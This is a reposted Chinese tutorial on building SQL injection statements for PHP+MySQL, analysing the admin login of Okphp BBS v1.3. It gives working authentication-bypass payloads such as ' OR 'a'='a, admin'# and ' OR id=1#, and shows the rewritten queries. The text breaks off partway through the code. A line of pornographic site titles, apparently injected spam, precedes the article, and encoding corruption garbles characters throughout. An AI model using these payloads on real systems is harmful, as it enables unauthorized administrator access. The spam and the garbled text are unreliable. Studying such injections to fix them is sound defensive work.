日韩黑丝制服一区视频播放|日韩欧美人妻丝袜视频在线观看|九九影院一级蜜桃|亚洲中文在线导航|青草草视频在线观看|婷婷五月色伊人网站|日本一区二区在线|国产AV一二三四区毛片|正在播放久草视频|亚洲色图精品一区

分享

php mysql SQL注入語句構(gòu)造

 好亂非常亂 2016-09-25

由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時語句的構(gòu)造方面更是個難點,本文主要是借對Okphp BBS v1.3一些文件得簡單分析,來談?wù)刾hp+mysql注射語句構(gòu)造方式,希望本文對你有點幫助。

  聲明:文章所有提到的“漏洞”,都沒有經(jīng)過測試,可能根本不存在,其實有沒有漏洞并不重要,重要的是分析思路和語句構(gòu)造。

  二.“漏洞”分析:

  1.admin/login.php注射導(dǎo)致繞過身份驗證漏洞:

  代碼:

  $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

  $password = md5($password);

  $q = 'select id,group_id from $user_table where username='$username' and password='$password'';

  $res = sql_query($q,$conn);

  $row = sql_fetch_row($res);

  $q = 'select id,group_id from $user_table where username='$username' and password='$password''中

  $username 和 $password 沒過濾, 很容易就繞過。

  對于select * from $user_table where username='$username' and password='$password'這樣的語句改造的方法有:

  構(gòu)造1(利用邏輯運算):$username=' OR 'a'='a $password=' OR 'a'='a

  相當(dāng)于sql語句:

  select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

  構(gòu)造2(利用mysql里的注釋語句# ,/* 把$password注釋掉):$username=admin'#(或admin'/*)

  即:

  select * from $user_table where username='admin'#' and password='$password''

  相當(dāng)于:

  select * from $user_table where username='admin'

  在admin/login.php中$q語句中的$password在查詢前進行了md5加密所以不可以用構(gòu)造1中的語句繞過。這里我們用構(gòu)造2:

  select id,group_id from $user_table where username='admin'#' and password='$password''

  相當(dāng)于:

  select id,group_id from $user_table where username='admin'

  只要存在用戶名為admin的就成立,如果不知道用戶名,只知道對應(yīng)的id,

  我們就可以這樣構(gòu)造:$username=' OR id=1#

  相當(dāng)于:

  select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注釋掉)

  我們接著往下看代碼:

  if ($row[0]) {

  // If not admin or super moderator

  if ($username != 'admin' && !eregi('(^|&)3($|&)',$row[1])) {

  $login = 0;

  }

  else {

  $login = 1;

  }

  }

  // Fail to login---------------

  if (!$login) {

  write_log('Moderator login','0','password wrong');


    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多